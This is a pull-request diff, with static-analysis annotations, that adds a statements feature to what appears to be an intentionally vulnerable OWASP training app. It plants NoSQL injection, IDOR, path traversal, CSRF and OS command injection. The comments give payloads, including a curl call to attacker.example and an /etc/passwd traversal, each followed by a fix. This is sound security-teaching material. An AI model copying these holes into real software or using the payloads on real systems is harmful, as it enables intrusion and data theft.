Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -29,3 +29,6 @@ test/e2e/videos/

# ignore Snyk Code scanner files
.dccache

# generated statement export files (see app/utils/statement-export.js)
app/data/exports/
78 changes: 78 additions & 0 deletions app/data/statement-dao.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
/* The StatementDAO must be constructed with a connected database object */
function StatementDAO(db) {

"use strict";

/* If this constructor is called without the "new" operator, "this" points
* to the global object. Log a warning and call it correctly. */
if (false === (this instanceof StatementDAO)) {
console.log("Warning: StatementDAO constructor called without 'new' operator");
return new StatementDAO(db);
}

const statementsCol = db.collection("statements");

this.insert = (userId, fileName, notes, callback) => {

const statement = {
userId: parseInt(userId),
fileName,
notes,
timestamp: new Date()
};

statementsCol.insert(statement, (err, result) => !err ? callback(null, result) : callback(err, null));
};

this.getAllForUser = (userId, filters, callback) => {
const parsedUserId = parseInt(userId);
const { search } = filters || {};

const searchCriteria = () => {
if (search) {
/*
* VULNERABLE (A1 - NoSQL Injection): `search` is forwarded here
* from statement.js -> displayStatement, which reads it straight
* from req.query.search. It is concatenated into a MongoDB
* $where clause, which runs arbitrary JavaScript server-side
* against every document in the collection.
*
* Example payloads (as the `search` query string parameter):
* ') || ('1'=='1 -> dumps every user's statements, not just this account's
* ');return(true);(this.notes||' -> matches everything regardless of content
* ');while(true){};(' -> denial of service, blocks the event loop
*
* Fix: never build $where from user input. Use a plain field
* match / $regex instead, e.g.:
* return { userId: parsedUserId, notes: { $regex: escapeRegex(search) } };
*/
return {
$where: `this.userId == ${parsedUserId} && this.notes.indexOf('${search}') !== -1`

Check failure on line 50 in app/data/statement-dao.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/data/statement-dao.js#L50

detect $where
};
}
return {
userId: parsedUserId
};
};

statementsCol.find(searchCriteria()).sort({
timestamp: -1
}).toArray((err, statements) => {
if (err) return callback(err, null);
return callback(null, statements || []);
});
};

this.remove = (userId, fileName, callback) => {
// Note: this only scopes by the *URL supplied* userId, not the
// authenticated session user - see the missing ownership check in
// statement.js -> deleteStatement.
statementsCol.remove({
userId: parseInt(userId),
fileName
}, err => callback(err, null));
};

}

module.exports = { StatementDAO };
8 changes: 8 additions & 0 deletions app/routes/index.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ const AllocationsHandler = require("./allocations");
const MemosHandler = require("./memos");
const ResearchHandler = require("./research");
const ReportsHandler = require("./reports");
const StatementHandler = require("./statement");
const tutorialRouter = require("./tutorial");
const ErrorHandler = require("./error").errorHandler;

Expand All @@ -21,6 +22,7 @@ const index = (app, db) => {
const memosHandler = new MemosHandler(db);
const researchHandler = new ResearchHandler(db);
const reportsHandler = new ReportsHandler();
const statementHandler = new StatementHandler(db);

// Middleware to check if a user is logged in
const isLoggedIn = sessionHandler.isLoggedInMiddleware;
Expand Down Expand Up @@ -81,6 +83,12 @@ const index = (app, db) => {
app.get("/reports", isLoggedIn, reportsHandler.searchEmployees);
app.get("/reports/employee/:id", isLoggedIn, reportsHandler.getEmployee);

// Statements Page - export/download/delete account statements
app.get("/statement/:userId", isLoggedIn, statementHandler.displayStatement);
app.post("/statement/:userId/export", isLoggedIn, statementHandler.handleExportRequest);
app.get("/statement/:userId/download/:fileName", isLoggedIn, statementHandler.downloadStatement);
app.get("/statement/:userId/delete/:fileName", isLoggedIn, statementHandler.deleteStatement);

// Mount tutorial router
app.use("/tutorial", tutorialRouter);

Expand Down
121 changes: 121 additions & 0 deletions app/routes/statement.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
const fs = require("fs");
const path = require("path");
const StatementDAO = require("../data/statement-dao").StatementDAO;
const { exportStatementToFile, EXPORT_DIR } = require("../utils/statement-export");
const {
environmentalScripts
} = require("../../config/config");

/* The StatementHandler must be constructed with a connected db */
function StatementHandler(db) {
"use strict";

const statementDAO = new StatementDAO(db);

/*
* A4 - Missing Function Level Access Control / Insecure Direct Object
* Reference. The account whose statements are displayed is taken from the
* URL (:userId) instead of the authenticated session, and nothing checks
* that the logged-in user owns that account. Any logged-in user can view
* another user's statement history and notes just by changing the userId
* segment of the URL, e.g. /statement/1, /statement/2, /statement/3, ...
*
* Fix:
* const { userId } = req.session;
* if (parseInt(req.params.userId, 10) !== parseInt(userId, 10)) {
* return res.redirect("/dashboard");
* }
*/
this.displayStatement = (req, res, next) => {
const {
userId
} = req.params;
const {
search
} = req.query;

statementDAO.getAllForUser(userId, { search }, (err, statements) => {
if (err) return next(err);

return res.render("statement", {

Check failure on line 40 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L40

This application is using untrusted user input in express render() function.
userId,
statements,
searchTerm: search || "",
environmentalScripts
});
Comment on lines +40 to +45

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Server-Side Template Injection via untrusted input in express.render() - high severity
Direct use of user-controlled inputs as arguments to the express.render() function can result in server-side template injection when the template engine evaluates untrusted data. An attacker may craft malicious payloads to read local files or, depending on the template engine and its configuration, escalate the issue to remote code execution by abusing template logic and expression handling.

Show fix

Remediation: Validate and sanitize all inputs before rendering, never pass raw user objects to templates, restrict template capabilities, and enforce strict variable whitelisting or safe rendering modes.

Reply @AikidoSec ignore: [REASON] to ignore this issue.
More info

});
};

this.handleExportRequest = (req, res, next) => {
const {
userId
} = req.params;
const {
fileName,
notes
} = req.body;

statementDAO.getAllForUser(userId, {}, (err, previousStatements) => {
if (err) return next(err);

statementDAO.insert(userId, fileName, notes, (err) => {
if (err) return next(err);

// Sink for the OS command injection - see app/utils/statement-export.js
exportStatementToFile(fileName, notes, previousStatements, (err) => {
if (err) return next(err);
return res.redirect(`/statement/${userId}`);

Check failure on line 67 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L67

Passing untrusted user input in `redirect()` can result in an open redirect vulnerability.

Check failure on line 67 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L67

detect res.redirect() with non literal argument
});
});
});
};

/*
* A5 - Path Traversal / Arbitrary File Read. fileName comes straight from
* the URL and is joined onto EXPORT_DIR with no validation, so "../"
* sequences escape the export directory entirely.
*
* Example: GET /statement/1/download/..%2f..%2f..%2f..%2fetc%2fpasswd
*
* Fix: strip path separators from fileName, or resolve the final path and
* verify it still starts with EXPORT_DIR before reading it.
*/
this.downloadStatement = (req, res, next) => {
const {
fileName
} = req.params;
const filePath = path.join(EXPORT_DIR, fileName);

Check failure on line 87 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L87

Detected possible user input going into a `path.join` or `path.resolve` function.

Check failure on line 87 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L87

Possible writing outside of the destination, make sure that the target path is nested in the intended destination

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential file inclusion attack via reading file - high severity
If an attacker can control the input leading into the ReadFile function, they might be able to read sensitive files and launch further attacks with that information.

Show fix

Remediation: Ignore this issue only after you've verified or sanitized the input going into this function. This issue is only relevant in the backend, not in the frontend!

Reply @AikidoSec ignore: [REASON] to ignore this issue.
More info

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Medium - Statement files saved with .txt cannot be downloaded or removed through the new routes

The exporter writes every generated statement to ${fileName}.txt, but both the download and delete handlers reconstruct the path from the bare fileName route parameter instead of the on-disk filename. As a result, the "Download" button errors for every statement created by this feature, and "Delete" only removes the MongoDB row while silently leaving the actual file behind. This breaks the feature's core contract and will accumulate orphaned files on disk over time.

Show fix

Use one canonical filename format across create/read/delete operations. Either store the exact generated path or filename (including extension) in MongoDB and reuse it for download/delete, or append the same .txt suffix in both handlers before accessing the filesystem.

More info - Reply on this comment to give feedback on the issue.


fs.readFile(filePath, "utf8", (err, data) => {

Check warning on line 89 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L89

Detected that function argument `req` has entered the fs module.

Check warning on line 89 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L89

Found readFile from package "fs" with non literal argument at index 0

Check failure on line 89 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L89

The application dynamically constructs file or path information.

Check failure on line 89 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L89

This application is using untrusted user input with the readFile() and readFileSync() functions.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential file inclusion attack via reading file - high severity
If an attacker can control the input leading into the ReadFile function, they might be able to read sensitive files and launch further attacks with that information.

Show fix

Remediation: Ignore this issue only after you've verified or sanitized the input going into this function. This issue is only relevant in the backend, not in the frontend!

Reply @AikidoSec ignore: [REASON] to ignore this issue.
More info

if (err) return next(err);
res.set("Content-Type", "text/plain");
return res.send(data);
});
};

/*
* A8 - CSRF, combined with the same missing ownership check as above.
* Deletion is a state-changing action exposed via a plain GET request with
* no CSRF token, so a forged request from another site
* (e.g. <img src="https://target/statement/3/delete/august-2026">) executes
* using the victim's authenticated session the moment they view it.
*/
this.deleteStatement = (req, res, next) => {
const {
userId,
fileName
} = req.params;

statementDAO.remove(userId, fileName, (err) => {
if (err) return next(err);

const filePath = path.join(EXPORT_DIR, fileName);
fs.unlink(filePath, () => {

Check warning on line 113 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L113

Detected that function argument `req` has entered the fs module.

Check warning on line 113 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L113

Found unlink from package "fs" with non literal argument at index 0

Check failure on line 113 in app/routes/statement.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/routes/statement.js#L113

The application dynamically constructs file or path information.
return res.redirect(`/statement/${userId}`);
});
});
};

}

module.exports = StatementHandler;
57 changes: 57 additions & 0 deletions app/utils/statement-export.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
/*
* A1 - OS Command Injection
*
* This module renders an account statement to a text file on disk. Instead of
* writing the file directly (fs.writeFile), it shells out via
* child_process.exec() and builds the command string by concatenating
* user-controlled values (fileName and notes, both supplied by the client in
* statement.js -> handleExportRequest) directly into the shell command.
*
* Because exec() runs the string through /bin/sh, any shell metacharacter in
* either value breaks out of the intended command:
*
* fileName: statement"; curl http://attacker.example/$(id) #
* notes: "; touch /tmp/pwned; echo "
*
* Fix: never build shell commands from user input. Write the file directly
* with fs.writeFile (no shell involved), and separately validate fileName
* against an allow-list pattern before using it in a path:
*
* const safeName = fileName.replace(/[^a-zA-Z0-9_-]/g, "");
* fs.writeFile(`${EXPORT_DIR}/${safeName}.txt`, body, callback);
*/

const { exec } = require("child_process");
const fs = require("fs");
const path = require("path");

const EXPORT_DIR = path.join(__dirname, "../data/exports");

// Ensure the export directory exists so the app is usable out of the box
if (!fs.existsSync(EXPORT_DIR)) {

Check failure on line 31 in app/utils/statement-export.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/utils/statement-export.js#L31

The application dynamically constructs file or path information.
fs.mkdirSync(EXPORT_DIR, { recursive: true });

Check failure on line 32 in app/utils/statement-export.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/utils/statement-export.js#L32

The application dynamically constructs file or path information.
}

const exportStatementToFile = (fileName, notes, previousStatements, callback) => {
const filePath = `${EXPORT_DIR}/${fileName}.txt`;

const history = (previousStatements || [])
.map(s => `- ${s.fileName}: ${s.notes}`)
.join("\n");

const body = `Account Statement\n=================\n${notes}\n\nPrevious statements on file:\n${history}\n`
.replace(/\n/g, "\\n");

// Insecure: fileName and notes (embedded in `body`) come straight from the
// request body and are interpolated into a shell command.
const command = `echo "${body}" > "${filePath}"`;

console.log(`[statement-export] Executing: ${command}`);

Check warning on line 49 in app/utils/statement-export.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/utils/statement-export.js#L49

Detect console.log() with non Literal argument

exec(command, (err) => {

Check failure on line 51 in app/utils/statement-export.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/utils/statement-export.js#L51

Detected calls to child_process from a function argument `fileName`. This could lead to a command injection if the input is user controllable.

Check warning on line 51 in app/utils/statement-export.js

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

app/utils/statement-export.js#L51

Found child_process.exec() with non Literal first argument

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential for OS command injection via child_process call - critical severity
It is generally not recommended to call out to the operating system to execute commands. When the application is executing file-system-based commands, user input should never be used in constructing commands or command arguments.

Show fix

Remediation: If you can, avoid the exec() call. If that is not possible, consider hard coding both the command and arguments to be used. Alternatively, install Aikido Runtime for NodeJS to prevent command injection completely.

Reply @AikidoSec ignore: [REASON] to ignore this issue.
More info

if (err) return callback(err, null);
return callback(null, { filePath, fileName });
});
};

module.exports = { exportStatementToFile, EXPORT_DIR };
2 changes: 2 additions & 0 deletions app/views/layout.html
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,8 @@
</li>
<li><a id="reports-menu-link" href="/reports"><i class="fa fa-file-text"></i> Reports</a>
</li>
<li><a id="statement-menu-link" href="/statement/{{userId}}"><i class="fa fa-file-archive-o"></i> Statements</a>
</li>
{% endif %}
<li><a id="logout-menu-link" href="/logout"><i class="fa fa-power-off"></i> Logout</a>
</li>
Expand Down
57 changes: 57 additions & 0 deletions app/views/statement.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
{% extends "./layout.html" %} {% block title %}Statements{% endblock %} {% block content %}

<div class="row">
<div class="col-lg-12">

<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Search Statements</h3>
</div>
<div class="panel-body">
<form action="/statement/{{userId}}" method="get" role="search">
<div class="form-group">
<input type="text" class="form-control" placeholder="Search notes" name="search" value="{{searchTerm}}" />
</div>
<button type="submit" class="btn btn-default">Search</button>
</form>
{% if searchTerm %}
<p class="help-block">Showing results for: {{searchTerm}}</p>
{% endif %}
</div>
</div>

<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Export a New Statement</h3>
</div>
<div class="panel-body">
<form action="/statement/{{userId}}/export" method="post">
<div class="form-group">
<label>File name</label>
<input type="text" class="form-control" name="fileName" placeholder="e.g. august-2026" />
</div>
<div class="form-group">
<label>Notes</label>
<textarea class="form-control" name="notes" placeholder="Notes to include on this statement"></textarea>
</div>
<button type="submit" class="btn btn-primary">Generate Statement</button>
</form>
</div>
</div>

{% for statement in statements %}
<div class="panel panel-info">
<div class="panel-heading">
<strong>{{statement.fileName}}</strong> &mdash; {{statement.timestamp}}
</div>
<div class="panel-body">
<p>{{statement.notes}}</p>
<a class="btn btn-sm btn-default" href="/statement/{{userId}}/download/{{statement.fileName}}">Download</a>
<a class="btn btn-sm btn-danger" href="/statement/{{userId}}/delete/{{statement.fileName}}">Delete</a>
</div>
</div>
{% endfor %}

</div>
</div>
{% endblock %}
Loading